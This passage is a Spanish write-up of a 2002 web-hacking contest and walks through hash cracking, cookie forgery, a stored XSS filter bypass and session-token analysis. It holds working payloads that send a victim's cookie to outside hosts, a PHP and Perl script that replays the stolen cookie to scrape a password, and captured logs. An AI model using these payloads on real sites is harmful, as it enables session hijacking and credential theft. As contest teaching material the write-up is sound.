Un "hash" es algo así como un "resumen" digital, es decir, un número o cadena (en general una ristra de bits) generada a partir del texto plano aplicando un algoritmo (llamado de "hashing"), cuya propiedad fundamental es que la probabilidad de que dos textos planos diferentes produzcan el mismo hash es muy pequeña. Por tanto, es una especie de firma digital, para que nos entendamos.
</culturilla_general>

Después de este breve paréntesis seguimos con nuestro análisis ;-)

Buscamos algún programa crackeador de hashes. Encontramos MDcrack 1.2. Vamos probando con distintas alternativas (MD4, MD5 ó NTLM1) hasta llegar a:

```
goliat:~ # mdcrack -M MD4 15DA1FDC79921CB05B8BA2F4C244E3BB

<<System>> MDcrack v1.2 is starting.
<<System>> Using default charset :
abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
<<System>> Max pass size = 12 >> Entering MD4 Core 1.

Password size: 1

----------------------------------------
Collision found ! => 8

<<Warning>> Session stopped in less than 10 ms,
<<Warning>> not enough for a statistical report.

goliat:~ #
```

Luego, vemos que lo ha desencriptado y ha obtenido "8". ¡No era MD5 sino MD4! =)

Sólo resta la parte más fácil: coger un "10" y obtener su "hash" MD4. Utilizaremos la herramienta online de los creadores del concurso (¡que no se diga!):

http://www.instisec.com/publico/descargas/criptoaspdemo.asp?id=2

Y obtenemos:
10 := F887DDEC0313B9DD4A55B574366C2A0E

Ahora falseamos la cookie. Por ejemplo, utilizando un telnet al puerto 80 e introduciendo:

```
GET /autenticacion/nivel8/ HTTP/1.0
Accept: */*
Referer: http://www.boinasnegras.com/autenticacion/nivel8/
Accept-Language: es
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: www.boinasnegras.com
Pragma: no-cache
```

```
     Cookie: Nivel=F887DDEC0313B9DD4A55B574366C2A0E;
ASPSESSIONIDQQGGUQFO=FMKILFJCLFBENCANELMMLLAG
     Connection: keep-alive
     Accept-encoding: gzip, deflate
```

Y voilá, prueba superada. Ya estamos en el nivel 10 ;-)

--[Nivel 10]

Quizás el nivel más bonito de todo el concurso. Hay que averiguar la contraseña del usuario (en este caso usuaria) "julia". Dicho usuario es una persona real, no un script o máquina ;-)

Para lograr nuestros propósitos disponemos de un sistema de mensajería entre usuarios, implementado todo en la web. Por supuesto, podemos crearnos un usuario y también ver / cambiar los datos del mismo, como la contraseña. Esto es todo lo que tenemos.

Lo primero es hacer los honores y presentarle nuestros respetos a Julia. Para ello nos creamos un usuario y comenzamos con la típica gracia, es decir, enviándole un mensaje del tipo:

"Hola Julia, eres un cielo. ¿Qué tal si quedamos para cenar? Yo pago y tú a cambio me dices tu contraseña. El sexo si quieres también va incluido en la oferta, como valor añadido."

:-)

Esto es un (mal) ejemplo de ingeniería social. Julia no es una mujer tonta y no va a tragar con algo tan simple. De hecho, Julia nos responderá y nos mandará a soplar gaitas ;-)

Pocas cosas se pueden probar aquí... excepto el sistema de mensajería, claro. Vamos a intentar inyectar código HTML en el mensaje. Para ello creamos un mensaje como:

* Prueba *

Nos lo intentamos enviar a nosotros mismos. Mala suerte, no nos deja: detecta que contiene caracteres inválidos. Seguimos probando:

* Prueba2 *

Tampoco funciona. Siga jugando :-)

* Prueba3*

¡Funciona! El mensaje es enviado y cuando nos vamos a nuestra bandeja de entrada y lo visualizamos nuestro navegador muestra "Prueba 3" en negrita. Lógicamente lo que muestra debajo de nuestro texto también lo muestra en negrita puesto que no hemos acabo nuestro texto con el "tag" . Podemos deducir que el "/" dentro de un "tag" (algo entre "<>") es detectado como inválido. Así que de ahora en adelante no usaremos este tipo de tags.

El lenguaje HTML no es lo suficientemente potente para nuestros propósitos así que probamos a inyectar JavaScript:

<SCRIPT> alert('Prueba3');

No cuela. No iba a ser tan fácil. Si seguimos haciendo pruebas llegamos a las siguientes conclusiones:

- el sistema detecta cuando se ha incluido un tag <>
- deja pasar (i.e. no lo detecta como inválido) los tags que empiecen por la letra "b", es decir lo siguiente lo dejaría pasar:

<bXXXXXXXXXXXXX>

donde X lo podemos rellenar a nuestro antojo -espacios incluidos-, siempre que no incluya en su interior otros tags.

¿Cómo podemos ejecutar JavaScript? Pues insertando JavaScript en los campos de acción de un elemento HTML, como puede ser un botón, y que empiecen por la letra "b" (para así saltarnos el filtro). Ejemplo:

<button onclick="alert('hola'); alert('adios')">

La línea anterior abriría dos cuadros de diálogo mostrando "hola" y "adios", secuencialmente (cuando cierras el primero te aparece el segundo). "Alert" es un método del objeto "Document" de JavaScript.

Supongamos que le enviamos esto a Julia. Vería un botón en su mensaje. Si lo pulsa entonces se ejecutaría nuestro código; en otro caso, no. ¿Y si no pica y no lo pulsa? Podríamos pensar en mejorarlo y cambiar el evento "onClick" por un "onFocus", “onBlur” y cosas así, de forma que aunque no haga click si pasa el puntero del ratón por encima del botón el código se ejecutará. Así es más probable que Julia pique. Pero el método tampoco es infalible, se nota demasiado.

La solución que yo propongo es la siguiente:

<body onload="alert('hola')">

El código se ejecutará en cuanto Julia cargue la página donde está el mensaje, independientemente de que se pare a leerlo detenidamente o pulse aquí o acá. ¡La solución es perfecta!

Ya tenemos una parte del problema resuelto: podemos forzar a que Julia ejecute código JavaScript en su navegador. ¿Y ahora qué?

Lo que nos interesa es conseguir la contraseña de Julia. Para ello habría que estar autentificado como dicho usuario y luego ir a la página de administración, donde podemos ver los datos asociados a dicha cuenta de usuario. ¿Pero cómo? Respuesta simple: Julia ya tiene abierta una sesión con su usuario. Y por otro lado conocemos una forma -mediante inyección de código en el mensaje- por la cual Julia puede ser forzada a ejecutar el código JavaScript que deseemos.

¿Cómo lo hacemos pues? Yo lo he resuelto de la siguiente forma: como la sesión de usuario se mantiene gracias a una cookie (donde se almacena una variable de sesión) podríamos intentar

robársela. Con dicha cookie en nuestro poder podemos acceder a las distintas páginas del sistema como si fuéramos el usuario Julia. Se entiende, ¿verdad?

Vamos allá.

1.- Generamos el borrador del mensaje que le vamos a enviar a Julia (pero no se lo enviamos todavía), o mejor dicho, el código que le vamos a enviar:

<body onload="window.location.href='http://www.miservidor.com/boinas/fake.php?cookie='+document.cookie;">

Con esto conseguimos que en cuanto Julia haga click en leer nuestro mensaje automáticamente sea redirigido a una página de otro servidor, y además le envíe la cookie como parámetro a dicha página. La página en cuestión la podemos albergar donde queramos, en algún sitio donde tengamos acceso y podamos crear algún cgi o script php. En nuestro caso hemos usado una página .php. ¿Por qué?

Resulta que la cookie tiene un tiempo de validez limitado, es decir, caduca. Estimo que en aproximadamente 15 minutos, para el caso que nos ocupa. Por otro lado Julia ejecutará el código (y por tanto nos mandará la cookie) exclusivamente cuando lea su correo. Según el enunciado de la prueba, Julia leerá su correo aproximadamente dos veces al día, y en principio no sabemos a qué hora. Por tanto, la cookie nos llegará a una hora indeterminada, y tenemos una ventana de tiempo de 15 minutos máximo para usarla antes de que caduque. Muy justo, ¿no?

No es cuestión de estar todo el día frente al teclado esperando a que Julia tenga la feliz idea de mirar su correo. Para algo están las máquinas, ¿cierto? Has dado en el clavo: vamos a automatizar el proceso.

La idea es que cuando el .php reciba la cookie éste genere una petición usando dicha cookie y acceda a la página de administración de cuenta, recoja la contraseña de Julia y la guarde en un fichero. Por tanto, la cookie es usada justo en cuanto se recibe. La ventana de tiempo que utiliza es de un par de segundos como mucho, es decir, es óptimo :-) Por supuesto, nosotros nos podemos conectar al servidor cuando nos venga en gana y mirar el fichero de texto donde se guardó la contraseña, aunque la cookie ya haya expirado.

2.- Veamos la estructura del script "fake.php".

```
<?php
$fp = popen("/boinas/log.pl ".escapeshellarg($cookie)." &", 'r');
?>
```

[Copia de la página de Boinas de cuando te envían un mensaje]

```
<?php
pclose($fp);
?>
```

Lo que hace simplemente el script es coger la cookie y pasársela a un programita en Perl también de mi cosecha, no sin antes filtrar algunos posibles caracteres malignos. El script en Perl es ejecutado en background y en paralelo la página .php se carga por completo en el navegador de

Julia. Dicha página contiene un "fake" o imitación de la página normal que recibiría cuando le llega un mensaje, y de hecho, contiene un mensaje de nuestra parte:

"Hola Julia, ya que no me das tu password la conseguiré yo por mis medios. Gracias por nada"

Por tanto, cuando Julia abra esta página se le mostrará un mensaje corriente, y en principio todo será transparente, no se tiene por qué dar cuenta de que le hemos robado la cookie ;-) Bueno, hay detalles que se podrían mejorar; no obstante el método funciona a la perfección.

3.- El script en Perl lo que hace es conectar a la página de administración y usar la cookie robada para conseguir la contraseña. Una vez hecho esto la "loguea" a un fichero. En realidad, no loguea solo la contraseña sino la página de administración entera, es decir, la respuesta HTTP completa del servidor.

```
#!/usr/bin/perl
#
# Boinas negras. Nivel 10. Consigue password usando la cookie de sesion
# by RoMaNSoFt

use Socket;

### Configuracion #######
$host='www.boinasnegras.com';
$port=80;
$user='julia';
$logfile="/boinas/boinas.log";
### Fin configuracion ###

# Abre fichero de logs
open(LOGFILE, ">>$logfile");

&lee_password ();

close(LOGFILE);
exit(0);


sub lee_password {

  ### Abrimos socket y conectamos con el servidor
  $serverIP = inet_aton ($host);
  $serverAddr = sockaddr_in ($port, $serverIP);
  socket (CLIENT, PF_INET, SOCK_STREAM, getprotobyname('tcp') ) || die;
  connect (CLIENT, $serverAddr) || die;

  ### "Unbuffereamos" socket
  $current_handle = select (CLIENT);
  $| = 1;
  select ($current_handle);

  # Mandamos peticion
  print CLIENT "GET
/autenticacion/nivel10/auth/administrar.asp?Nombre=$user HTTP/1.0\n";
  print CLIENT "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/vnd.ms-powerpoint, application/msword,
application/vnd.ms-excel, */*\n";
  print CLIENT "Accept-Language: es\n";
```

```
       print CLIENT "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)\n";
       print CLIENT "Host: $host\n";
       print CLIENT "Cookie: $ARGV[0]\n";
       print CLIENT "Connection: keep-alive\n";
       print CLIENT "Accept-encoding: gzip, deflate\n";

       print CLIENT "\n";

       # Forzamos auto-flush en el fichero de logs
       select((select(LOGFILE), $| = 1)[0]);

       # Logueamos la respuesta
       while ($linea=<CLIENT>) {
         print LOGFILE $linea;
       }

       close(CLIENT);
     }
```

Creo que las explicaciones sobran. No hay que ser ningún experto en Perl para entender mi script, aunque sea a grandes rasgos. En todo caso, está fuera del objetivo de este documento el explicar nociones de Perl.

4.- Una vez que tenemos todo montado (scripts preparados, etc.) es el momento de enviarle el mensaje a Julia, tal y como explicamos en el punto 1. Ahora es cuestión de esperar a que Julia lea su correo. Es el momento de irse a dar una vuelta por ahí y tomarse una jornada (bien merecida) de relax :-)

5.- Llega el ansiado momento. Llevamos toda la tarde de cafés, copas, cervezas... Es hora de ponerse a trabajar de nuevo. Nada más gratificante que comenzar recogiendo los frutos de nuestro esfuerzo. Revisamos los logs de miservidor.com y nos encontramos:

```
     217.126.135.132 - - [01/May/2002:22:52:34 +0200] "GET
/boinas/fake.html?cookie=ASPSESSIONIDGQQGQWYU=IGEBFHBAEOFNLNBHLHFOANNE HTTP/1.1"
200 6210 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
```

¡Bien! Julia ha picado y amablemente nos envía su cookie. Veamos si nuestro sistema de recogida de password ha funcionado:

```
     roman@miservidor:/boinas > grep pwd boinas.log
             var campo = formulario.pwd;

<td><input value="********" name="pwd" size="16" maxlength="16"></td>
```

Claro que ha funcionado. ¿Quién lo dudaba? ;-) Podemos leer el valor del campo "pwd", que será la contraseña de Julia.

Solución: *******

Algunos enlaces consultados:

* Comandos html que empiezan por B.
http://www.w3.org/TR/html4/index/elements.html

* Microsoft Passport to Trouble
http://alive.znep.com/~marcs/passport

* Pasaporte .NET al infierno
http://www.instisec.com/publico/verarticulo.asp?id=12

Como el tema da bastante de sí y como "bonus" para mis lectores os voy a presentar otro par de soluciones bastante ingeniosas a la hora inyectar JavaScript.

a) La primera solución la implementó Out, el subcampeón del concurso:

```
<BODY onload="var a = '<b';
        b = a.split('b');
        var minus= b[0];
        var galleta = document.cookie;
        var towrite=minus+'img src=\'http://otroservidor.com/'+galleta+'.bmp\'>';
        alert(towrite);
        document.write(towrite);
 ">
```

Lo que hace es incluir un enlace a un supuesto gráfico .bmp que en realidad no existe. Julia verá en su navegador un icono de su navegador indicando que la imagen no se cargó satisfactoriamente, pero para cuando se de cuenta su navegador ya ha intentado acceder al fichero <valor_de_la_cookie>.bmp, con lo cual la cookie ha quedado registrada en los logs de otroservidor.com.

La parte ingeniosa consiste en generar el código HTML "<img src=..." sin que el filtro del programa de mensajería lo detecte. Ya vimos que sólo dejaba pasar "<b*>". Sin embargo, nuestro código JavaScript sólo incluye un '<b', el cual es asignado a una variable (por eso pasa el filtro). Luego el código extrae el "<" de dicha variable, y cada vez que necesite imprimir un "<" lo hace imprimiendo el contenido de esa variable.

b) Esta segunda solución la utilizó Mandingo, campeón del concurso:

```
<body
onLoad=javascript:window.open('http://www.boinasnegras.com/autenticacion/nivel10/auth/administrar.asp?Nombre=%22%20type=image%20src=javascript:document.location=%22http://www.telovendo.net/envia.asp?q="%2bdocument.registro.pwd.value%20%22')>"Holaaa
```

Mandingo explica así su funcionamiento:

"<Mandingo> en lugar de mostrar el nombre en la pagina de administrar le meto un chorizo javascript que me envía el contenido del campo pwd a mi servidor, y luego este me manda un correo con la clave"

La verdad es que esta solución es mucho sencilla que las anteriores y a la vez potente.

--[Nivel 9]

"¿Te habías olvidado del nivel 9? ¿Qué creías? ¿Que ya habías terminado?". Es el mensaje que aparece inmediatamente en nuestra pantalla tras terminar el nivel 10. ¡Qué sorpresa! ¡Queda un nivel todavía!

Nos piden loguear al sistema como "administrador". O lo que es lo mismo, deberemos averiguar la correspondiente contraseña. Se nos presenta un sistema parecido al del nivel anterior aunque con una menor funcionalidad. Esta vez no podemos enviar ningún tipo de mensajes, pero también existe una página de administración que nos muestra la contraseña del usuario actual.

Empezamos con nuestras pruebas. Para ello nos creamos un usuario. Tras autentificarnos como dicho usuario tenemos un enlace a la página de administración, que es algo parecido a esto:

http://www.boinasnegras.com/autenticacion/nivel9/administrar.asp?1F33941973368EF0657C41A1964610138382AE6D45B33EA6

Tenemos un cifrado de 192 bits. En esa ristra de bits de alguna forma se le dice a la función 'administrar.asp' el usuario actual. Es la forma que usa para mantener la sesión. Aunque existe una cookie también, en este caso sólo se usa para identificar al concursante, que es distinto del usuario de la prueba (un mismo concursante puede crear distintos usuarios para la prueba, e irse identificando en la prueba con las distintas credenciales).

Difícil. La verdad es que desencriptar esto tiene narices. Empezamos por introducir modificaciones en "la cadena" (así nos referiremos de aquí en adelante a la ristra de números hexadecimales de arriba). Lo primero que notamos es que da errores diferentes según modifiquemos los bytes del principio, otros del medio y/o del final. En concreto, y tras unas primeras pruebas deducimos que la estructura de la cadena es (en primera aproximación):

```
[  -=Word 1=-  ][  -=Word 2=-  ][  -=Word 3=-  ]
0E382E96CC87C0595C2DC3484802EF017CC1F593BE91E5DD
```

El primer word parece contener información acerca de expiración de la sesión. Estos dígitos permanecen invariables durante aproximadamente 15 minutos, para cualquier usuario utilizado.

La segunda word contiene lo que parece ser un time-stamp (algo que identifica la fecha y/o hora). Permanece invariable durante aproximadamente un segundo.

La tercera y última word debe contener algo que discrime entre los distintos usuarios existentes, es decir, identifique el usuario. Ya que el usuario puede tener hasta 16 caracteres de largo y sin embargo sólo tenemos 8 bytes para codificar este campo deducimos que el nombre de usuario no va incluido en la cadena encriptada sino que ésta contiene algún tipo de identificador.

A continuación veamos alguna de las pruebas que nos permiten deducir lo anterior. En realidad nuestras suposiciones no son del todo correctas aunque ya las matizaremos más adelante.

```
roman@goliat:~/hack/instisec/nivel9 > ./gettocho.sh
---- Aqui van los tochos... ----
     [  -=Word 1=-  ][  -=Word 2=-  ][  -=Word 3=-  ]
uri: 0E382E96CC87C0592518D6BC0D7E3124F41C9D2A54A19A46
rom: 0E382E96CC87C0592518D6BC0D7E312434A38176D65AFC7A
uri: 0E382E96CC87C05941F899864BC01448B623D538591058FA
rom: 0E382E96CC87C05941F899864BC01448C3CF15130F0FDAD7
uri: 0E382E96CC87C05941F899864BC01448B623D538591058FA
rom: 0E382E96CC87C059C16039B1439D8E42B0EFDE5B85889EB2
uri: 0E382E96CC87C059C16039B1439D8E42DE29378CC1356040
rom: 0E382E96CC87C059C16039B1439D8E42B0EFDE5B85889EB2
uri: 0E382E96CC87C0599C70E970536847771BD3EEDD84666F79
rom: 0E382E96CC87C0599C70E9705368477769238C8494D071FA
uri: 0E382E96CC87C0591DF9BA25F3C692C497D185904D1928E5
rom: 0E382E96CC87C0591DF9BA25F3C692C4A044AF61D85F9021
uri: 0E382E96CC87C0591DF9BA25F3C692C497D185904D1928E5
rom: 0E382E96CC87C0595759A0FF5BDC9EACA966A7C4FC316AFA
uri: 0E382E96CC87C0595759A0FF5BDC9EACE7C892EDE462648F
rom: 0E382E96CC87C0595759A0FF5BDC9EACA966A7C4FC316AFA
uri: 0E382E96CC87C05900B575F019B028C6349D67277281766C
rom: 0E382E96CC87C05900B575F019B028C6098A56DF20346C53
uri: 0E382E96CC87C05900B575F019B028C6349D67277281766C
rom: 0E382E96CC87C059448F43764BC82BC9F3181DD5BEFFECB5
---- END of Tochos xD ----
roman@goliat:~/hack/instisec/nivel9 >
```

Este script consigue cadenas encriptadas mandando peticiones consecutivas a la página de administración. Vamos alternando entre dos usuarios distintos, para poder observar las diferencias. Entre cada petición el tiempo es mínimo.

Podemos observar en el experimento todo lo dicho anteriormente. Aproximadamente tres peticiones consecutivas generan el mismo "time-stamp", pues están muy próximas en el tiempo, y también vemos que si el time-stamp coincide la última parte de la cadena también lo hace.

Veamos el código del script (en bash):

```
roman@goliat:~/hack/instisec/nivel9 > cat gettocho.sh
#!/bin/sh
cookie="ASPSESSIONIDQQQGHNUO=GGDBDLOBODDJNPEIKCBEGCKI"
echo "---- Aqui van los tochos... ----"
echo "     [  -=Word 1=-  ][  -=Word 2=-  ][  -=Word 3=-  ]"
for i in `seq 1 10`; do
  echo -n "uri: "
  curl --cookie $cookie -d "login=Uri&pwd=XXXXX&modo=Entrar"
http://www.boinasnegras.com/autenticacion/nivel9/default.asp 2> /dev/null | grep
administrar.asp | cut -f 2 -d "?" | cut -f 1 -d \"
  echo -n "rom: "
  curl --cookie $cookie -d "login=romansoft&pwd=YYYYY&modo=Entrar"
http://www.boinasnegras.com/autenticacion/nivel9/default.asp 2> /dev/null | grep
administrar.asp | cut -f 2 -d "?" | cut -f 1 -d \"
done
echo "---- END of Tochos xD ----"
```

Un primer inconveniente es que tenemos que introducir el valor de la cookie a mano cada cierto tiempo, para que el script funcione (recordemos que la cookie caduca cada cierto tiempo). Ya veremos cómo solventar esto en versiones posteriores del script. Tampoco se le puede pedir mucho a una versión "beta", ¿eh? :-)

Si seguimos haciendo pruebas observamos cosas extrañas, como por ejemplo, que cada 15 minutos aproximadamente la cadena hexadecimal generada es de tan sólo 16 bytes, en vez de los usuales 24. Es decir, de vez en cuando aparece una cadena excepcionalmente corta.

Otra cosa que no habíamos comentado todavía es la siguiente: cuando modificamos algún número de la cadena y se lo pasamos al .asp de administración nos devuelve dos tipos de errores: uno diciendo que la sesión ha expirado -cuando modificamos la primera parte de la cadena-, o bien otro que dice que "el id de sesión ha sido manipulado" -cuando modificamos las 2 últimas words de la cadena. Esto por un lado también confirma nuestra teoría: parece ser que el primer word está asociado a la expiración de sesión mientras que las 2 restantes se asocian al id de sesión propiamente dicho.

Seguimos haciendo pruebas y la cosa se complica: comprobamos que en realidad el funcionamiento era más complejo del que nos esperábamos porque la frontera entre words no está bien definida. Esto es, aparecen casos en los que la información de expiración se extiende más allá del primer word.

Para observar este extraño comportamiento vamos a mejorar el script anterior. Le añadiremos más funcionalidad: para empezar tendrá la habilidad de recoger la cookie cuando ésta expire, o al principio de sesión. Y además comprobará cada cadena hexadecimal y sacará los "nibbles" (en este caso, dígitos hexadecimales) que se corresponden bien a información de expiración, bien a id de sesión. Esto lo mostrará en forma de máscara (S=Expiración de sesión, I=Id de sesión):

```
roman@sniff:~/hack/instisec/nivel9 > ./gettocho2.sh
Recogiendo cookie del user "romansoft"...
ASPSESSIONIDQGQGIADO=OILNEFMDCHIAKHOIOGGLKGKK

---- Aqui van los tochos ----
          [  -=Word 1=-  ][  -=Word 2=-  ][  -=Word 3=-  ]      [  -=Word 1=-  ][  -=Word 2=-  ][  -=Word 3=-  ]
11:35:37 uri: 1D6498ED704BD1E33BE3FFA0FF8158A5D28042B6F0FB3C2A      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:35:52 rom: 1D6498ED704BD1E3BE200F235DCA64A50402B68637D83912      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:36:06 uri: 1D6498ED704BD1E3A3CA7CD4A0E255FD551C9268B04AA309      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:36:21 rom: 1D6498ED704BD1E3E9F477D6DC7A8CCE214E0D45D82DBB8A      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:36:36 uri: 1D6498ED704BD1E398862BB9AA75F6F4                      SSSSSSSSSSSSIIIIIIIIIIIIIIIIII
11:36:46 rom: 1D6498ED704BD1E3AC7BFBED26C9C0CF27B0C34EDF853422      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:37:01 uri: 1D6498ED704BD1E3A720B7978092BE0810C6E01ED1E26C8F      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:37:16 rom: 1D6498ED704BD1E3C213F4AEA650631083113B7839C7D9D8      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:37:31 uri: 1D6498ED704BD1E3E1568A593BA864A2BED5B3EF7612DB90      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:37:46 rom: 1D6498ED704BD1E3057711ABE18C3EE84D2AB0B37FE31FA4      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:38:03 uri: 1D6498ED704BD1E333FB1D6355B02F22F94DAD7922B84A95      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:38:18 rom: 1D6498ED704BD1E3D3B02F0967FDFB48CA3AD6CC7880BB44      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:38:32 uri: 1D6498ED704BD1E3BA17774F6DAD68BB48255FC28E97C1C8      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:38:46 rom: 1D6498ED704BD1E3CFE78F6E16DE240ACE5110BF1851AD2C      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:39:01 uri: 1D6498ED704BD1E32E97CD12A8E1EAB045B2E81C20A0514E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:39:17 rom: 1D6498ED704BD1E3AE7C84E907FF4F1FB0A85D8257A7830F      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:39:31 uri: 1D6498ED704BD1E3763A093FD51C8B3C75924F7463966A06      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:39:46 rom: 1D6498ED704BD1E35B4977BD8C5B5A31C247E80A4EE5C2A9      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:40:01 uri: 1D6498ED704BD1E3B92CFB0979693F9D82083A9B4279FA5F      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:40:16 rom: 1D6498ED704BD1E36962FE8BC1F6D20F2C55337C8CF2B5FA      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:40:32 uri: 1D6498ED704BD1E3B08C8BFE2206BE28BF97E862CAE33F58      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:40:50 rom: 1D6498ED704BD1E3519EDCCB911CDFC12BE73810B7A8F564      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:41:04 uri: 1D6498ED704BD1E32F5DC48B5CD3F857F6E4B4F73E834B1E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:41:20 rom: 1D6498ED704BD1E3300DC3999110EA779407CACEB0D92D1F      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:41:35 uri: 1D6498ED704BD1E3D9498643C06F0494DC35F8C446DC214B      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:41:50 rom: 1D6498ED704BD1E374B53173F8C92C325A621FA7F3A277A8      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
```

```
11:42:04 uri: 1D6498ED704BD1E3FD7105165FF048DD5EDB36D0EBCC201A      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:42:19 rom: 1D6498ED704BD1E34CD2E459159A26FC0B88D729E208A8C2      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:42:33 uri: 1D6498ED704BD1E30B8EFC39390DFBBA359F6552CBF7FC0E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:42:48 rom: 1D6498ED704BD1E3E03DBF1193DB766023F69D457DEEDC1B      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:43:03 uri: 1D6498ED704BD1E3973EF194969A83F6B35F0DE494648047      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:43:20 rom: 1D6498ED704BD1E3552476E0C7B599203F0C9B7860C43E5B      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:43:36 uri: 1D6498ED704BD1E3299B941D33394E1A92F866036A0640BB      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:43:50 rom: 1D6498ED704BD1E31184B9102221B13C32395B774820A33A      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:44:05 uri: 1D6498ED704BD1E3175DDA9F6219A0331A843F35F493B96E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:44:21 rom: 1D6498ED704BD1E33A8D81F6A124BE3C8E9AB3AAA8F64283      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:44:36 uri: 1D6498ED704BD1E3B358BA3D6932C4F1C265BB8D5CE33963      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:44:52 rom: 1D6498ED704BD1E37EA3A34773EF37349D68F98AD8503C16      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:45:07 uri: 1D6498ED704BD1E344339F4BFB257F3F01443B7FF081C1B6      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:45:23 rom: 1D6498ED704BD1E347084393FEF9DFC82912EEC91094024E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:45:38 uri: B0D2A11D8BC5507BDB11A40E4D15A45183D21D683F327300      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:45:57 rom: B0D2A11D8BC5507B990219196B99F0FC7D48F267CE9C3260      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:46:13 uri: B0D2A11D8BC5507BC34EB360DB6FE7518D409DDF9787164E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:46:28 rom: B0D2A11D8BC5507BAFFE8E81102E724E7B2CB6943D43878D      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:46:43 uri: B0D2A11D8BC5507BED8C2B9E240875BB22046CF8E1B2BC8F      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:46:58 rom: B0D2A11D8BC5507B9EBFF6DC6D72B9326B40469F3D7210CB      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:47:13 uri: B0D2A11D8BC5507BD6F9003B0353E8D53C3042010EAE8F27      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:47:29 rom: B0D2A11D8BC5507BC41A9CBE57F8925E9C3EDBB32DA79C1E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:47:43 uri: B0D2A11D8BC5507B028410B95C7A4B24B204C0C3C7CDF06E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:47:58 rom: B0D2A11D8BC5507B31737DFA3840245223828C1A215A8EBD      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:48:14 uri: B0D2A11D8BC5507BC4F7CF1190D2998A77411D906AC2F8D5      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:48:31 rom: B0D2A11D8BC5507BFDDBFFEF43F13A37051A7907E8D3AFBA      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
